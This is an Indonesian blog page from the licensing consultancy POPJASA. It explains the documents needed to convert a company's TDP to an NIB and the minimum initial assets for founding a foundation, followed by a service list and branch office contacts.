Tujuan diberlakukannya NIB adalah sebagai upaya pemerintah memberikan fasilitas berupa kemudahan dalam pelaksanaan berusaha bagi para pemohon perizinan, baik perorangan maupun badan usaha.

Dengan mudahnya alur perizinan yang dilakukan secara online tersebut, diharapkan juga menjadi pemantik semangat pengusaha dari berbagai penjuru daerah untuk mulai berwirausaha. Dan bagi pengusaha yang sudah memiliki usaha, agar lebih mudah mengurus perizinan usahanya.

Lantas bagaimana jika Anda ingin mengubah TDP perusahaan Anda menjadi NIB? Apa saja persyaratan yang harus Anda penuhi? Simak baik-baik di artikel ini ya!

Syarat Perubahan TDP ke NIB

Syarat-syarat yang harus Anda penuhi untuk mengubah TDP perusahaan Anda menjadi NIB, antara lain:

  1. Scanan Akta CV dan SK (Surat Keterangan) Kemenkumham
  2. Scan KTP (Kartu Tanda Penduduk) dan NPWP (Nomor Pokok Wajib Pajak) pengurus CV
  3. Scan NPWP CV
  4. Melampirkan username dan password
  5. Email + nomor telepon yang baru

Sampai sini sudah paham bukan apa saja yang harus Anda persiapkan untuk mengubah TDP perusahaan Anda menjadi NIB? Jika Anda kesulitan, Anda bisa mempercayakan perubahan TDP perusahaan Anda

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien.

Juni 17, 2021

MODAL MENDIRIKAN YAYASAN

MODAL MENDIRIKAN YAYASAN

MODAL MENDIRIKAN YAYASAN — Anda tertarik untuk mendirikan yayasan? Tetapi rasa tertarik Anda untuk mendirikan yayasan kalah dengan rasa khawatir Anda tentang berapa besaran modal yang harus disiapkan guna mendirikan yayasan?

Sebelumnya harus Anda ketahui bahwa aturan tentang yayasan telah diatur dalam Undang-undang Nomor 16 Tahun 2001 tentang Yayasan.

Dan soal modal untuk mendirikan yayasan, UU Yayasan hanya mengatur perihal yayasan didirikan oleh satu orang atau lebih dengan memisahkan sebagian harta kekayaan pendirinya, sebagai kekayaan awal.

Namun, hal ini bukan berarti tidak ada ketentuan jumlah minimal modal awal untuk mendirikan yayasan. Sebab jumlah kekayaan awal yayasan diatur lebih lanjut melalui Peraturan Pemerintah Nomor 63 Tahun 2008 tentang Pelaksanaan Undang-undang Yayasan.

Perlu Anda ketahui, baik yayasan yang didirikan orang Indonesia maupun orang asing memiliki ketentuan masing-masing. Berikut ini merupakan ketentuannya:

  • Untuk yayasan yang didirikan orang Indonesia, jumlah kekayaan awal yayasan yang berasal dari pemisahan harta kekayaan pribadi pendiri, minimal senilai Rp. 10.000.000,-.
  • Untuk yayasan yang didirikan orang asing, jumlah kekayaan awal yayasan yang berasal dari pemisahan harta kekayaan pribadi sendiri, minimal senilai Rp. 100.000.000,-.

Tidak hanya berupa uang, kekayaan awal yayasan juga bisa berupa barang seperti rumah, peralatan untuk operasional dan lain sebagainya yang “senilai” dengan jumlah diatas.

PP Yayasan juga menegaskan pemisahan harta kekayaan harus disertai surat pernyataan pendiri mengenai keabsahan harta kekayaan yang dipisahkan itu.

Adapun makna dari “keabsahan harta kekayaan” adalah harta yang diperoleh tidak dengan cara melawan hukum. Contoh dari keabsahan harta kekayaan yakni tindak pidana korupsi atau pencucian uang. 

Surat pernyataan pendiri mengenai keabsahan kekayaan awal ini sangat penting, karena nantinya surat ini akan dilampirkan dalam proses permohonan pengesahan Akta Pendirian Yayasan agar dapat memperoleh status badan hukum.

Bukan hanya itu, pemisahan kekayaan ini merupakan salah satu ciri utama badan hukum sekaligus juga memperjelas terkait asal-usul harta kekayaan awal yayasan.

Nah! Sampai sini tentu Anda sudah paham bukan berapa besaran modal untuk mendirikan yayasan?

Jika Anda masih bingung, bahkan merasa perlu berkonsultasi mengenai proses untuk mendirikan yayasan, maka Anda bisa mempercayakan POPJASA sebagai konsultan Anda!

POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien yang membutuhkan perizinan dan pendirian usaha di seluruh Indonesia!

Selain melayani pendirian Yayasan, POPJASA juga melayani Jasa Pengurusan Izin Usaha lainnya, antara lain:

  1. Biro Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha PT
  2. Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha CV
  3. Biro Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha UD
  4. Jasa Pengurusan, Pendirian, Pembuatan, YAYASAN, LSM, ORMAS, dsb
  5. Biro Jasa Perizinan Usaha Perubahan SIUP & NIB
  6. Jasa Perizinan Usaha Perubahan Pengurus UD, CV, PT
  7. Biro Jasa Pengurusan Pengurusan Pembuatan Perpanjangan SIUP dan TDP
  8. Pengurusan Jasa Izin Usaha Pariwisata: BPW, Jasa Boga dan Restoran
  9. Pembuatan Izin Usaha Jasa Kontruksi (IUJK)
  10. Pembuatan Jasa Izin Usaha Jasa Penyedia Transportasi (IUJPT)
  11. Pengurusan Surat Izin Perusahaan Angkutan (SIPA)
  12. Biro Jasa Pengurusan Izin Gudang/Tanda Daftar Gudang (TDG)
  13. Jasa Pengurusan Izin Usaha Industri: TDI, IUI Kecil, IUI Besar dan PP
  14. Biro Jasa Pengurusan Izin Usaha Industri Pangan: PIRT, MUI Halal, BPOM
  15. Pembuatan Izin Usaha Ekspor dan Impor: API, NIK
  16. Jasa Pengurusan Izin Pengajuan Pengusaha Kena Pajak (PKP)
  17. Pembuatan Izin Usaha Pendaftaran HaKI: Hak Paten, Hak Merk, Hak Cipta, Desain Industri

    Baca Juga : Langkah Mudah Mengurus Perizinan Usaha Di PopJasa

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

  • Coverage Area Kantor CABANG POPJASA:
    1. 1. Jasa Mendirikan UD Blora
      2. Jasa Mendirikan UD Boyolali
      3. Jasa Mendirikan UD Karanganyar
      4. Jasa Mendirikan UD Klaten
      5. Jasa Mendirikan UD  Salatiga
      6. Jasa Mendirikan UD Sukoharjo
      7. Jasa Mendirikan UD Surakarta
      8. Jasa Mendirikan UD Sragen
      9. Jasa Mendirikan UD Wonogiri
Alamat Kantor Pusat POPJASA:

Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

Alamat Kantor CABANG POPJASA:

Perumahan Tohudan Indah 2 Blok A3, Merten, Tohudan, Kec. Colomadu, Kabupaten Karanganyar

Kontak POPJASA:

  • POPJASA juga telah memiliki kantor cabang di beberapa kota  :
    • Jasa Mendirian Yayasan Surabaya
      Ruko Mezzanine Blok A-20, Jl. Nginden Semolo No. 38-40, Kel. Nginden Jangkungan, Kec. Sukolilo, Kota Surabaya
      Whatsapp : 0812- 3344-2301
    • Jasa Mendirian Yayasan Sidoarjo
      Perumahan Pondok Buana Blok B-8, Bluru Kidul, Kec. Sidoarjo, Kabupaten Sidoarjo
      Whatsapp : 0812- 3344-2301
    • Jasa Mendirian Yayasan Malang
      Jl. Teluk Pelabuhan Ratu No. 156 Kel. Arjosari, Kec. Blimbing, Kota Malang
      Whatsapp : 0856-0484-8110
    • Jasa Mendirian Yayasan Mojokerto
      Jl. Prajurit Kulon 6 No. 68 Kel. Prajurit Kulon, Kec. Prajurit Kulon, Kota Mojokerto
      Whatsapp : 0853-3555-2775
    • Jasa Mendirian Yayasan Pasuruan
      Perumahan Taman Asri 1 Blok HH No.11, Tembokrejo, Kec. Purworejo, Kota Pasuruan
      Whatsapp : 0813-3415-8884
    • Jasa Mendirian Yayasan Solo
      Perumahan Tohudan Indah 2 Blok A3, Merten, Tohudan, Kec. Colomadu, Kabupaten Karanganyar
      Whatsapp : 0823-2262-4114
    • Jasa Mendirian Yayasan Yogyakarta
      Jln. Nogotirto, Area Sawah,Banyuraden, Kec. Gamping, Kab. Sleman, Daerah Istimewa Yogyakarta
      Whatsapp : 0823-3212-6669
    • Jasa Mendirian Yayasan Semarang
      Merpati 2/5, Pedurungan Tengah, Kec. Pedurungan, Kota Semarang
      Whatsapp : 0822-2333-8776
    • Jasa Mendirian Yayasan Bandung
      Sarimadu No.30 Rt 08/01, Sukawarna, Kec. Sukajadi, Kota Bandung
      Whatsapp : 0822-2333-8708
    • Jasa Mendirian Yayasan Bekasi
      Raya Siliwangi No. 35, RT. 001/RW. 003 , Sepanjang Jaya , Kec  Rawalumbu Kota Bekasi
      Whatsapp : 0821-3919-9190
    • Jasa Mendirian Yayasan Madiun
      Perumahan Wijaya Town Square Kav. no 14. RT; 2b
      Kelurahan Jatisari, Kecamatan Geger, Kabupaten Madiun
      Whatsapp : 0822-2333-8698
    • Jasa Mendirian Yayasan Jember
      Perumahan Tegal Besar Permai 2 blok H no 2
      Kel: Tegal Besar, Kec; Kaliwates, Kab. Jember
      Whatsapp : 0813-3415-8884
    • Jasa Mendirian Yayasan Tanggerang
      Permata Tangerang, Jl. Cendana 5 blok DA 9 No.9, Kuta Jaya, Kec. Ps. Kemis, Tangerang, Banten 15560, Indonesia
      Whatsapp : 0821-2333-5785
    • Jasa Mendirian Yayasan Depok
      Komplek BDN, Blok D1 No. 11, Jl. Raya Sawangan, Rangkapan Jaya Baru, Kec. Pancoran Mas, Kota Depok, Jawa Barat 16434
      Whatsapp : 0821-23335875
    • Jasa Mendirian Yayasan Makasar
      Kompleks Kesehatan Banta Bantaeng
      JL. Wijaya Kusuma III Blok K7 No. 15. Kota Makassar
      Whatsapp : 0822-4591-9968
Older Posts »

Powered by WordPress